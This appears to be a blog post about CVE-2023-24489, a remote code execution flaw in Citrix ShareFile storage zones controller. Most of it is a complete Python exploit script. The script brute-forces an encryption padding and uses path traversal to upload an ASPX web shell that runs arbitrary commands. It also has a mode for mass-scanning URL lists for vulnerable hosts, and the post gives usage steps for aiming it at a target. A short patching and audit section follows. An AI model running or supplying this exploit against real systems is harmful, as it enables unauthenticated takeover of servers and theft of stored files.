Tackling ShareFile’s CVE-2023-24489 RCE Vulnerability

In today’s increasingly digital world, cybersecurity has never been more critical.

One of the recent vulnerabilities that have come to light is CVE-2023-24489, affecting the customer-managed ShareFile storage zones controller.

This post will delve into what CVE-2023-24489 entails and how to respond to it.

What is CVE-2023-24489?

CVE-2023-24489 is a security flaw discovered in the customer-managed ShareFile storage zones controller. Citrix’s ShareFile is a popular file sharing and storage solution.

If exploited, this vulnerability could allow an unauthenticated attacker to compromise the system. Adversaries could gain unauthorized access to sensitive data or even take control of the affected system. This dangerous loophole has been assigned a CVSS score of 9.1, indicating its severity.

The vulnerability lies in the .NET web application running under IIS, allowing unauthenticated attackers to upload arbitrary files, leading to remote code execution.

The Impact of CVE-2023-24489

The exploitation of CVE-2023-24489 poses a significant threat to organizations using Citrix ShareFile. This vulnerability has been actively exploited by attackers.

This vulnerability affects all currently supported versions of customer-managed ShareFile storage zones controller before version 5.11.24.

If an unauthenticated attacker successfully exploits this vulnerability, they could gain unauthorized access to sensitive data or even take control of the affected system.

How to Identify and Respond to CVE-2023-24489

Identifying and responding to CVE-2023-24489 involves using a Python script that exploits the vulnerability.

import argparse
import requests
import base64
import urllib.parse
from requests.exceptions import SSLError, ConnectTimeout, ReadTimeout, ConnectionError
from urllib3.exceptions import InsecureRequestWarning

def exploit(target, cmd="whoami", is_windows=True):
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    valid_padding = None
    print("[+] Finding correct padding")

    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(pool_connections=10, pool_maxsize=100)
    session.mount('http://', adapter)
    session.mount('https://', adapter)

    for i in range(0, 256):
        payload = [
            # block 0
            b'\x41', b'\x41', b'\x41', b'\x41',
            b'\x41', b'\x41', b'\x41', b'\x41',
            b'\x41', b'\x41', b'\x41', b'\x41',
            b'\x41', b'\x41', b'\x41', i.to_bytes(1, byteorder='little'),

            # block 1
            b'\x41', b'\x41', b'\x41', b'\x41',
            b'\x41', b'\x41', b'\x41', b'\x41',
            b'\x41', b'\x41', b'\x41', b'\x41',
            b'\x41', b'\x41', b'\x41', b'\x41'
        ]
        payload = b''.join(payload)
        payload = base64.b64encode(payload)
        payload = urllib.parse.quote(payload, safe='')

        url = f'{target}/documentum/upload.aspx?parentid={payload}&uploadid=x'
        try:
            r = session.get(url, timeout=5, verify=False)
        except ConnectTimeout:
            print('[-] Connection Timeout Error')
            continue
        except ReadTimeout:
            print('[-] Read Timeout Error')
            continue
        except SSLError as e:
            if 'unsafe legacy renegotiation disabled' in str(e):
                print('[-] Unsafe Legacy Renegotiation Disabled')
            elif 'TLS/SSL connection has been closed' in str(e):
                print('[-] SSL Connection Closed (EOF)')
            elif 'certificate verify failed' in str(e):
                print('[-] SSL Certificate Error')
            else:
                print(e)
            continue
        except ConnectionError as e:
            print('[-] Connection Error:', e)
            continue
        if r.status_code == 200:
            if 'Invalid request method - GET' in r.text:
                valid_padding = payload
                print(f'Valid padding:   {payload}')
                break

    if valid_padding:
        parentid = valid_padding
        filename = 'real.aspx'
        if is_windows:
            data = f'''<%@ Page Language="C#" Debug="true" Trace="false" %>
            <%@ Import Namespace="System.Diagnostics" %>
            <%@ Import Namespace="System.IO" %>
            <script Language="c#" runat="server">
            void Page_Load(object sender, EventArgs e)
            {{
                Response.Write("<pre>");
                Response.Write(Server.HtmlEncode(ExcuteCmd()));
                Response.Write("</pre>");
            }}
            string ExcuteCmd()
            {{
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "cmd.exe";
                psi.Arguments = "/c {cmd}";
                psi.RedirectStandardOutput = true;
                psi.UseShellExecute = false;
                Process p = Process.Start(psi);
                StreamReader stmrdr = p.StandardOutput;
                string s = stmrdr.ReadToEnd();
                stmrdr.Close();
                return s;
            }}
            </script>'''
        else:
            data = f'''<%@ Page Language="C#" Debug="true" Trace="false" %>
            <%@ Import Namespace="System.Diagnostics" %>
            <%@ Import Namespace="System.IO" %>
            <script Language="c#" runat="server">
            void Page_Load(object sender, EventArgs e)
            {{
                Response.Write("<pre>");
                Response.Write(Server.HtmlEncode(ExcuteCmd()));
                Response.Write("</pre>");
            }}
            string ExcuteCmd()
            {{
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "/usr/bin/mono";
                psi.Arguments = "{cmd}";
                psi.RedirectStandardOutput = true;
                psi.UseShellExecute = false;
                Process p = Process.Start(psi);
                StreamReader stmrdr = p.StandardOutput;
                string s = stmrdr.ReadToEnd();
                stmrdr.Close();
                return s;
            }}
            </script>'''

        url = f'{target}/documentum/upload.aspx?parentid={parentid}&raw=1&unzip=on&uploadid={filename}\..\..\..\cifs&filename={filename}'
        headers = {'Content-Type': 'text/html; charset=utf-8'}
        response = session.post(url, data=data, headers=headers, verify=False)
        if response.status_code == 200:
            print(response.text)
            get_url = f'{target}/cifs/{filename}'
            try:
                get_response = session.get(get_url, verify=False)
                if get_response.status_code == 200:
                    print(get_response.text)
                else:
                    print(f'[-] Error retrieving the result: {get_response.status_code}')
            except (SSLError, ConnectTimeout, ReadTimeout, ConnectionError) as e:
                print(f'[-] Error retrieving the result: {str(e)}')
    else:
        print('[-] No valid padding found.')

def mass_check(filename):
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    with open(filename, 'r') as wordlist_file:
        session = requests.Session()
        adapter = requests.adapters.HTTPAdapter(pool_connections=10, pool_maxsize=100)
        session.mount('http://', adapter)
        session.mount('https://', adapter)

        for line in wordlist_file:
            url = line.strip()
            payload_url = f'{url}/documentum/upload.aspx?parentid=QDDDD&uploadid=x'
            try:
                response = session.get(payload_url, timeout=5)

                if response.status_code == 200:
                    print(f'[+] Potentially vulnerable URL: {url}')
                else:
                    print(f'[-] Not vulnerable: {url}')
            except SSLError as e:
                if 'unsafe legacy renegotiation disabled' in str(e):
                    print('[-] Unsafe Legacy Renegotiation Disabled')
                elif 'TLS/SSL connection has been closed' in str(e):
                    print('[-] SSL Connection Closed (EOF)')
                elif 'certificate verify failed' in str(e):
                    print('[-] SSL Certificate Error')
                else:
                    print(e)
            except ConnectionError as e:
                print('[-] Connection Error:', e)
            except ConnectTimeout:
                print('[-] Connection Timeout Error')
            except ReadTimeout:
                print('[-] Read Timeout Error')

if __name__ == '__main__':
    print('''ShareFile RCE (CVE-2023-24489) 

█▄▄ █▄█ ▀   ▄▀█ █▀▄ █░█ █▄▀ █▀█
█▄█ ░█░ ▄   █▀█ █▄▀ █▀█ █░█ █▀▄
''')
    parser = argparse.ArgumentParser(description='Exploit or mass check vulnerable URLs')
    parser.add_argument('--host', help='URL to exploit')
    parser.add_argument('--windows', action='store_true', help='Specify if the target is Windows')
    parser.add_argument('--linux', action='store_true', help='Specify if the target is Linux')
    parser.add_argument('--cmd', help='Command to execute during exploitation')
    parser.add_argument('--mass-check', help='Path to the wordlist file for mass checking')

    args = parser.parse_args()

    if args.host:
        if args.windows:
            exploit(args.host, args.cmd, is_windows=True)
        elif args.linux:
            exploit(args.host, args.cmd, is_windows=False)
        else:
            print('Please specify either --windows or --linux argument.')
    elif args.mass_check:
        mass_check(args.mass_check)
    else:
        print('Please provide either --host or --mass-check argument.')

Here is a simplified step-by-step guide on how to use the script:

Step 1: Installing Dependencies

Before you can run the script, you need to install the required dependencies.

You can do this by running the following command:

pip install requests

Step 2: Running the Script

Once the dependencies are installed, you can run the script with the desired options.

Here’s a general overview of how to do it:

python cve.py --host <target URL> [--windows | --linux] [--cmd <command>] [--mass-check <wordlist file>]

Let’s break down what each option means:

--host: This option specifies the URL of the target to exploit.

--windows or --linux: These options specify whether the target system is running Windows or Linux.

--cmd: This option allows you to specify the command to execute during exploitation. This is optional.

--mass-check: This option allows you to specify the path to the wordlist file for mass checking. This is also optional5.

Remember, either the –host option or the –mass-check option must be provided.

Mitigations

Citrix has already issued a security update to address this vulnerability.

Therefore, the first step in responding to CVE-2023-24489 is to apply this security update immediately. It is crucial to keep your systems updated to protect against such vulnerabilities.

Following the update, it would be wise to conduct a comprehensive security audit to ensure that no unauthorized access has occurred as a result of this vulnerability. This might involve checking logs and monitoring network activity for any signs of intrusion.

Moreover, regular employee training on cybersecurity best practices can help prevent successful exploitation of such vulnerabilities. This includes teaching employees to recognize and report suspicious activity, maintaining strong, unique passwords, and understanding the importance of regularly updating and patching software.

Conclusion

While CVE-2023-24489 poses a significant threat, prompt and appropriate action can mitigate its impact.

By keeping systems updated, conducting regular security audits, and fostering a culture of cybersecurity awareness, organizations can protect themselves against such threats.